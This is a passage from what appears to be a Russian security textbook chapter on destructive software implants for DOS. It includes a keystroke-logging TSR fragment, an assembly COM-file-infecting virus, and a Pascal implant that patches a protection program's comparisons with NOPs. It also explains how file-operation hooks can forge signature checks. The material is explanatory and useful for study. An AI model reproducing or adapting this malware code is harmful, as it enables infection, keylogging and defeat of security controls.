ВУЗ: Не указан
Категория: Не указан
Дисциплина: Не указана
Добавлен: 10.06.2021
Просмотров: 3619
Скачиваний: 3
Разрушающие
программные
средства
251
MsDos(R);
DOSSeg := R.ES;
DOSOfs := R.BX;
end;
begin
InitTSR;
CBuf := 0;
FillChar(KBuf,SizeOf(KBuf),0);
WaitBuf := 5; {
Задержка
(
сек
)
перед
отправкой
буфера
в
файл
.}
NeedPop := False;
Tick := 0;
GetIntVec($9,@Old9h);
SetIntVec($9,@New9h);
SetIntVec($28,@Int28TSR);
SetIntVec($1C,@RunTSR);
Keep(0);
end.
Перехват
и
обработка
файловых
операций
Программное
средство
защиты
информации
(
ПСЗИ
)
производит
некоторые
файло
-
вые
операции
.
Для
этого
открывается
файл
,
часть
его
или
весь
файл
считывается
в
буфер
оперативной
памяти
,
обрабатывается
и
затем
записывается
в
файл
с
прежним
или
новым
именем
.
Активизирующим
событием
в
данном
случае
является
,
как
правило
,
открытие
файла
(
int
21h
,
функция
3Dh
),
либо
его
закрытие
.
Таким
образом
,
закладка
порождает
в
системе
“
исходный
файл
—
ПСЗИ
—
выходной
файл
”
новые
связи
,
включая
в
них
свои
операции
и
массивы
данных
.
Рассмотрим
механизм
работы
закладки
для
DOS,
которая
встраивается
в
цепочку
прерывания
int
21h
для
следующих
функций
.
•
Открытие
файла
(
функция
3Dh
).
Закладка
отфильтровывает
нужные
имена
или
де
-
скрипторы
файлов
.
•
Чтение
из
файла
(
функция
3Fh
).
Закладка
выполняет
прерывание
по
старому
адресу
указателя
,
затем
сохраняет
считанный
буфер
в
собственный
,
обычно
скрытый
файл
,
либо
исправляет
в
буфере
некоторые
байты
файла
,
кроме
того
возможно
влияние
на
результаты
операции
чтения
.
Данные
действия
особенно
опасны
для
программ
под
-
тверждения
подлинности
электронных
документов
(
электронная
подпись
).
252
Глава
14.
Методы
и
средства
разрушения
информации
•
Запись
в
файл
(
функция
40h
).
Закладка
редактирует
нужным
образом
буфер
в
опе
-
ративной
памяти
,
либо
сохраняет
файл
или
часть
его
в
скрытую
область
,
а
затем
вы
-
полняет
старое
прерывание
,
в
результате
чего
записывается
файл
с
измененным
со
-
держанием
,
либо
каким
-
то
образом
дублированный
в
скрытой
области
.
Закладки
та
-
кого
типа
могут
навязывать
истинность
электронной
подписи
даже
тогда
,
когда
файл
был
изменен
.
В
листинге
14.2
представлен
пример
вируса
,
использующего
механизм
перехвата
файловых
операция
для
модификации
файлов
типа
COM
своим
кодом
.
Листинг
14.2.
Пример
перехвата
файловых
операций
для
выполнения
несанкционированной
записи
в
файл
.model tiny
.code
org
100h
start:
push si
push
si
mov
es,bx
mov
di,2B0h
cli
cmpsb
jz
loc_2
dec
si
dec
di
Продолжение
листинга
14.2
mov
cl,50h rep
movsb
mov
si,21h*4
push
si
movs word ptr es:[di],word ptr es:[si]
movs word ptr es:[di],word ptr es:[si]
pop
di
mov
al,2Bh
stosw
stosw
loc_2:
pop
di
lea
si,[di+50h]
mov
cx,sp
sub
cx,si
push
cs
Разрушающие
программные
средства
253
pop
es
rep
movsb
retn
;
новый
обработчик
21-
го
прерывания
cmp
ah,3Ch ;
функция
создания
файла
?
jne
loc_5
;
если
нет
—
на
выход
int
0C0h
;
если
(2B0h+50h)/4 = 0C0h,
т
.
е
.
адрес
;
старого
обработчика
int 21h
push
ax
xchg
bx,ax
mov
si,dx
; si = dx
locloop_3:
dec
si
lodsw
cmp
ax,'mo'
loopnz locloop_3
jnz
loc_4
push
ds
push
cs
pop
ds
mov
ah,40h
mov
cl,50h
cwd
int
21h
pop
ds
Окончание
листинга
14.2
loc_4:
pop
ax
clc
retf
2
loc_5:
db
0EAh
int 20h
end start
Разрушение
программы
защиты
и
схем
контроля
Допустим
,
что
злоумышленнику
известна
интересующая
его
программа
с
точно
-
стью
до
команд
реализации
на
конкретном
процессоре
.
Следовательно
,
возможно
смо
-
254
Глава
14.
Методы
и
средства
разрушения
информации
делировать
процесс
ее
загрузки
и
выяснить
адреса
частей
программы
относительно
сегмента
оперативной
памяти
,
в
которой
она
загружается
.
Это
означает
,
что
возможно
произвольное
изменение
кода
программы
и
обеспечение
отклонения
(
как
правило
,
негативного
характера
)
в
работе
прикладной
программы
.
Тогда
алгоритм
действия
закладки
может
быть
следующим
.
1.
Закладка
загружается
в
память
каким
-
либо
образом
.
2.
Закладка
осуществляет
перехват
(
редактирование
цепочки
)
одного
или
нескольких
прерываний
:
•
прерывание
DOS “
запуск
программ
и
загрузка
оверлеев
” (
int
21h
,
функция
4Bh
);
•
прерывание
BIOS “
считать
сектор
” (
int
13h
,
функция
02h
);
•
прерывание
от
системного
таймера
(
int
08h
).
3.
По
одному
из
трех
событий
закладка
получает
управление
на
свой
код
и
далее
вы
-
полняет
следующие
операции
:
•
проверка
принадлежности
запущенной
программы
или
уже
работающей
(
для
тай
-
мерного
прерывания
)
к
интересующим
программам
;
•
определение
сегмента
,
в
который
загружена
программа
;
•
запись
относительно
определенного
сегмента
загрузки
некоторых
значений
в
опе
-
ративную
память
так
,
чтобы
отключить
схемы
контроля
и
(
или
)
исправить
про
-
грамму
нужным
образом
.
Принципиальная
возможность
исправления
кода
следует
из
того
,
что
вывод
о
пра
-
вильности
работы
программы
делается
на
основе
операций
сравнения
в
арифметико
-
логическом
устройстве
процессора
.
Сравнение
результатов
работы
выполняется
командой
CMP
,
а
результат
сравнения
изменяет
один
или
несколько
бит
регистра
флагов
.
Следовательно
,
того
же
результата
можно
добиться
,
изменив
эти
биты
в
одной
из
команд
работы
с
регистром
флагов
типа
CLD
,
CLS
,
LAHF
и
т
.
д
.
Наконец
,
возможен
случай
,
когда
содержательный
код
программы
защиты
вместе
со
схемой
контроля
будет
удален
из
памяти
полностью
и
все
последующие
операции
будут
выполнены
без
влияния
программы
защиты
.
Таким
образом
,
анализируя
в
данном
случае
действия
закладки
,
необходимо
считать
возможным
любые
искажения
кода
программ
.
Основным
способом
активизации
разрушающих
закладок
является
запуск
ассоции
-
рованных
с
ними
программ
.
При
этом
закладка
получает
управление
первой
и
выполня
-
ет
какие
-
либо
действия
(
изменение
адресов
прерывания
на
собственные
обработчики
,
исправление
в
коде
программ
защиты
и
т
.
д
.).
Листинг
14.3.
Пример
закладки
,
разрушающей
схему
контроля
{$M 1024,0,0}
{$I-}
uses
Разрушающие
программные
средства
255
Dos;
const
CMPSeg=$2E7F; {
Адреса
ячеек
,
подлежащих
модификации
, }
CMPOfs=12; {
указанные
относительно
PSP }
JMPSeg=$2EA4;
JMPOfs=2;
var
DOSSeg, DOSOfs, Psp:word;
OldInt8h:pointer;
procedure Int8h; interrupt;
begin
if (Psp=PrefixSeg) then
begin
if(Mem[DOSSeg:DOSOfs]=0) then
asm
mov ah, 62h
int 21h
mov Psp, bx
end;
end
else
begin
MemW[CMPSeg+Psp:CMPOfs]:=$9090; {
Запись
NOP
вместо
CMP }
MemW[JMPSeg+Psp:JMPOfs]:=$9090; {
Запись
NOP
вместо
JMP }
Окончание
листинга
14.3
end;
asm
pushf
call dword ptr OldInt8h
end;
end;
begin
asm
mov ah, 34h
int 21h
mov DOSOfs, bx
mov DOSSeg, es
end;
Psp:=PrefixSeg;
GetIntVec(8, OldInt8h);
SwapVectors;